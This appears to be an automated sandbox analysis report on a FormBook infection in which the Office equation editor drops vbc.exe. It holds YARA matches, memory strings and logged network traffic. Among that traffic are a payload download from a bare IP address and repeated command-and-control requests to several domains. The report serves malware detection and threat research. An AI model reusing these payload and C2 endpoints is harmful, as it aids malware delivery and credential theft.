Source: explorer.exe, 00000009.00000000.487570517.000000000447A000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000009.00000000.502008099.0000000002AE0000.00000002.00020000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000009.00000000.483010699.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://support.mozilla.org
Source: ipconfig.exe, 0000000B.00000002.688497436.00000000026B2000.00000004.00020000.sdmp String found in binary or memory: https://www.americanstonesusa.com/nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=TiWkgH4UkC7CIqz9ktcRQySnot
Source: explorer.exe, 00000009.00000000.483010699.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000009.00000000.483010699.0000000000255000.00000004.00000020.sdmp String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CFE3BF36.emf Jump to behavior
Source: unknown DNS traffic detected: queries for: www.americanstonesusa.com
Source: global traffic HTTP traffic detected: GET /ddr/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.23.212.143Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=TiWkgH4UkC7CIqz9ktcRQySnot/hSP0U84YZk1QGO5z/hARin1ng6rxU4Y++sy6YdGpizQ== HTTP/1.1Host: www.americanstonesusa.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=S+ZwTBrK0+7RoomNfSvQ9j84ffpxKdfieFGWtVtD4WHCIMGVYLqiZt07bDY98RTkl0TyTg==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.plasticplank.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=QEezsAFDlNAB3yJURHSMHXjRGqVB06lXE20lDVvtKCtrVdaWOVmvQD4ln9eCVkj8l4WBCQ== HTTP/1.1Host: www.realstyleworks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=enVshZ5ucPnpEJ79XKthUFU7GSCP6zpooNwVCr/P0s5BKPQIOoeKppWI2ezsgMpUEHhlAA== HTTP/1.1Host: www.authorjameswshepherdonline.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=54OfAHeKGwMzfFPkI96ZbDhctG36f6+/FiUzkHshmPfrtcl9VWH+3olASXX+4wyWJIckJQ== HTTP/1.1Host: www.hanlansmojitovillage.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=JnpX3/YBBy9TCXbKhp8uYEFRBGzb3gJR2p4kRdES4yzOlzRdyh/c8y0xiKK/8z4KJyQSLA==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.thaysay.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=B6rYep0Vm3M2EhGqYu/feA67U2SQJtGoCN7KN6fFlDVSMwI26b57yYW0nsnzi8vT4Ky8RQ==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.onpar-golf.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=TiWkgH4UkC7CIqz9ktcRQySnot/hSP0U84YZk1QGO5z/hARin1ng6rxU4Y++sy6YdGpizQ== HTTP/1.1Host: www.americanstonesusa.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=S+ZwTBrK0+7RoomNfSvQ9j84ffpxKdfieFGWtVtD4WHCIMGVYLqiZt07bDY98RTkl0TyTg==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.plasticplank.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=QEezsAFDlNAB3yJURHSMHXjRGqVB06lXE20lDVvtKCtrVdaWOVmvQD4ln9eCVkj8l4WBCQ== HTTP/1.1Host: www.realstyleworks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=enVshZ5ucPnpEJ79XKthUFU7GSCP6zpooNwVCr/P0s5BKPQIOoeKppWI2ezsgMpUEHhlAA== HTTP/1.1Host: www.authorjameswshepherdonline.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=54OfAHeKGwMzfFPkI96ZbDhctG36f6+/FiUzkHshmPfrtcl9VWH+3olASXX+4wyWJIckJQ== HTTP/1.1Host: www.hanlansmojitovillage.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=JnpX3/YBBy9TCXbKhp8uYEFRBGzb3gJR2p4kRdES4yzOlzRdyh/c8y0xiKK/8z4KJyQSLA==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.thaysay.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=B6rYep0Vm3M2EhGqYu/feA67U2SQJtGoCN7KN6fFlDVSMwI26b57yYW0nsnzi8vT4Ky8RQ==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.onpar-golf.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=TiWkgH4UkC7CIqz9ktcRQySnot/hSP0U84YZk1QGO5z/hARin1ng6rxU4Y++sy6YdGpizQ== HTTP/1.1Host: www.americanstonesusa.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?5jo4nr=S+ZwTBrK0+7RoomNfSvQ9j84ffpxKdfieFGWtVtD4WHCIMGVYLqiZt07bDY98RTkl0TyTg==&t48tJ=fJEp_HN8mPiTHN5P HTTP/1.1Host: www.plasticplank.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /nthe/?t48tJ=fJEp_HN8mPiTHN5P&5jo4nr=QEezsAFDlNAB3yJURHSMHXjRGqVB06lXE20lDVvtKCtrVdaWOVmvQD4ln9eCVkj8l4WBCQ== HTTP/1.1Host: www.realstyleworks.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687551604.00000000002C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687415275.00000000000C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.540998722.00000000001C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.540894487.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.506424858.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000000.498846912.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.687510611.0000000000290000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.481283058.00000000033B9000.00000004.00000001.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.687551604.00000000002C0000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.687551604.00000000002C0000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.687415275.00000000000C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.687415275.00000000000C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.540998722.00000000001C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.540998722.00000000001C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.540894487.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.540894487.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000000.506424858.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000000.506424858.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000000.498846912.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000000.498846912.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.687510611.0000000000290000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000B.00000002.687510611.0000000000290000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.481283058.00000000033B9000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.481283058.00000000033B9000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
.NET source code contains very large strings
Source: vbc[1].exe.4.dr, Forms/mainForm.cs Long String: Length: 38272
Source: vbc.exe.4.dr, Forms/mainForm.cs Long String: Length: 38272
Source: 6.0.vbc.exe.200000.0.unpack, Forms/mainForm.cs Long String: Length: 38272
Source: 6.2.vbc.exe.200000.0.unpack, Forms/mainForm.cs Long String: Length: 38272
Source: 7.2.vbc.exe.200000.0.unpack, Forms/mainForm.cs Long String: Length: 38272
Source: 7.0.vbc.exe.200000.0.unpack, Forms/mainForm.cs Long String: Length: 38272
Source: 8.2.vbc.exe.200000.1.unpack, Forms/mainForm.cs Long String: Length: 38272
Source: 8.0.vbc.exe.200000.0.unpack, Forms/mainForm.cs Long String: Length: 38272
Yara signature match
Source: 00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.687551604.00000000002C0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.687551604.00000000002C0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.687415275.00000000000C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.687415275.00000000000C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.540998722.00000000001C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.540998722.00000000001C0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.540894487.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.540894487.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000000.506424858.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000000.506424858.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000000.498846912.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000000.498846912.0000000009AA6000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000B.00000002.687510611.0000000000290000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000B.00000002.687510611.0000000000290000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.481283058.00000000033B9000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.481283058.00000000033B9000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Detected potential crypto function
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E3070 6_2_001E3070
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E009C 6_2_001E009C
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E1121 6_2_001E1121
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E1B00 6_2_001E1B00
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E3C28 6_2_001E3C28
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E44A0 6_2_001E44A0
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E5D90 6_2_001E5D90
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E4EF1 6_2_001E4EF1
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E1700 6_2_001E1700
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E68A8 6_2_001E68A8
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E8210 6_2_001E8210
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E8200 6_2_001E8200
Source: C:\Users\Public\vbc.exe Code function: 6_2_001EC2C7 6_2_001EC2C7
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E6B9A 6_2_001E6B9A
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E3B88 6_2_001E3B88
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E13B0 6_2_001E13B0
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E6BA8 6_2_001E6BA8
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E83E0 6_2_001E83E0
Source: C:\Users\Public\vbc.exe Code function: 6_2_001EAC0A 6_2_001EAC0A
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E5CA9 6_2_001E5CA9
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E04E1 6_2_001E04E1
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E7D38 6_2_001E7D38
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E7D48 6_2_001E7D48
Source: C:\Users\Public\vbc.exe Code function: 6_2_001EB5D0 6_2_001EB5D0
Source: C:\Users\Public\vbc.exe Code function: 6_2_001EAF31 6_2_001EAF31
Source: C:\Users\Public\vbc.exe Code function: 6_2_001EA748 6_2_001EA748
Source: C:\Users\Public\vbc.exe Code function: 6_2_001EAF40 6_2_001EAF40
Source: C:\Users\Public\vbc.exe Code function: 6_2_001E7F80 6_2_001E7F80
Source: C:\Users\Public\vbc.exe Code function: 8_2_00401030 8_2_00401030
Source: C:\Users\Public\vbc.exe Code function: 8_2_0041B8D6 8_2_0041B8D6
Source: C:\Users\Public\vbc.exe Code function: 8_2_0041C2CA 8_2_0041C2CA
Source: C:\Users\Public\vbc.exe Code function: 8_2_0041CB5C 8_2_0041CB5C
Source: C:\Users\Public\vbc.exe Code function: 8_2_00408C5D 8_2_00408C5D
Source: C:\Users\Public\vbc.exe Code function: 8_2_00408C60 8_2_00408C60
Source: C:\Users\Public\vbc.exe Code function: 8_2_0041C51E 8_2_0041C51E
Source: C:\Users\Public\vbc.exe Code function: 8_2_00402D87 8_2_00402D87
Source: C:\Users\Public\vbc.exe Code function: 8_2_00402D90 8_2_00402D90
Source: C:\Users\Public\vbc.exe Code function: 8_2_0041B6D3 8_2_0041B6D3
Source: C:\Users\Public\vbc.exe Code function: 8_2_00402FB0 8_2_00402FB0
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A7E0C6 8_2_00A7E0C6
Source: C:\Users\Public\vbc.exe Code function: 8_2_00AAD005 8_2_00AAD005
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A83040 8_2_00A83040
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A9905A 8_2_00A9905A
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A7E2E9 8_2_00A7E2E9
Source: C:\Users\Public\vbc.exe Code function: 8_2_00B21238 8_2_00B21238
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A7F3CF 8_2_00A7F3CF
Source: C:\Users\Public\vbc.exe Code function: 8_2_00AA63DB 8_2_00AA63DB
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A82305 8_2_00A82305
Source: C:\Users\Public\vbc.exe Code function: 8_2_00ACA37B 8_2_00ACA37B
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A87353 8_2_00A87353
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A91489 8_2_00A91489
Source: C:\Users\Public\vbc.exe Code function: 8_2_00AB5485 8_2_00AB5485
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A9C5F0 8_2_00A9C5F0
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A8351F 8_2_00A8351F
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A84680 8_2_00A84680
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A8E6C1 8_2_00A8E6C1
Source: C:\Users\Public\vbc.exe Code function: 8_2_00B22622 8_2_00B22622
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A8C7BC 8_2_00A8C7BC
Source: C:\Users\Public\vbc.exe Code function: 8_2_00B0579A 8_2_00B0579A
Source: C:\Users\Public\vbc.exe Code function: 8_2_00AB57C3 8_2_00AB57C3
Source: C:\Users\Public\vbc.exe Code function: 8_2_00B1F8EE 8_2_00B1F8EE
Source: C:\Users\Public\vbc.exe Code function: 8_2_00AA286D 8_2_00AA286D
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A8C85C 8_2_00A8C85C
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A829B2 8_2_00A829B2
Source: C:\Users\Public\vbc.exe Code function: 8_2_00B2098E 8_2_00B2098E
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A969FE 8_2_00A969FE
Source: C:\Users\Public\vbc.exe Code function: 8_2_00B05955 8_2_00B05955
Source: C:\Users\Public\vbc.exe Code function: 8_2_00B33A83 8_2_00B33A83
Source: C:\Users\Public\vbc.exe Code function: 8_2_00B2CBA4 8_2_00B2CBA4
Source: C:\Users\Public\vbc.exe Code function: 8_2_00B0DBDA 8_2_00B0DBDA
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A7FBD7 8_2_00A7FBD7
Source: C:\Users\Public\vbc.exe Code function: 8_2_00AA7B00 8_2_00AA7B00
Source: C:\Users\Public\vbc.exe Code function: 8_2_00B1FDDD 8_2_00B1FDDD
Source: C:\Users\Public\vbc.exe Code function: 8_2_00AB0D3B 8_2_00AB0D3B
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A8CD5B 8_2_00A8CD5B
Source: C:\Users\Public\vbc.exe Code function: 8_2_00AB2E2F 8_2_00AB2E2F
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A9EE4C 8_2_00A9EE4C
Source: C:\Users\Public\vbc.exe Code function: 8_2_00A90F3F 8_2_00A90F3F
Source: C:\Users\Public\vbc.exe Code function: 8_2_00AADF7C 8_2_00AADF7C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F4E0C6 11_2_01F4E0C6
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F6905A 11_2_01F6905A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F53040 11_2_01F53040
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F7D005 11_2_01F7D005
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F763DB 11_2_01F763DB
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F4F3CF 11_2_01F4F3CF
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F9A37B 11_2_01F9A37B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F57353 11_2_01F57353
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F52305 11_2_01F52305
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F4E2E9 11_2_01F4E2E9
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01FF1238 11_2_01FF1238
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F6C5F0 11_2_01F6C5F0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F5351F 11_2_01F5351F
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F85485 11_2_01F85485
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F61489 11_2_01F61489
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F8D47D 11_2_01F8D47D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F857C3 11_2_01F857C3
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F5C7BC 11_2_01F5C7BC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01FD579A 11_2_01FD579A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F5E6C1 11_2_01F5E6C1
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F54680 11_2_01F54680
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01FF2622 11_2_01FF2622
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F669FE 11_2_01F669FE
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F529B2 11_2_01F529B2
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01FF098E 11_2_01FF098E
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_02003A83 11_2_02003A83
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01FD5955 11_2_01FD5955
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01FEF8EE 11_2_01FEF8EE
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F7286D 11_2_01F7286D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F5C85C 11_2_01F5C85C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F4FBD7 11_2_01F4FBD7
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01FDDBDA 11_2_01FDDBDA
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01FFCBA4 11_2_01FFCBA4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F77B00 11_2_01F77B00
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01FEFDDD 11_2_01FEFDDD
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F5CD5B 11_2_01F5CD5B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F80D3B 11_2_01F80D3B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 11_2_01F7DF7C 11_2_01F7DF7C
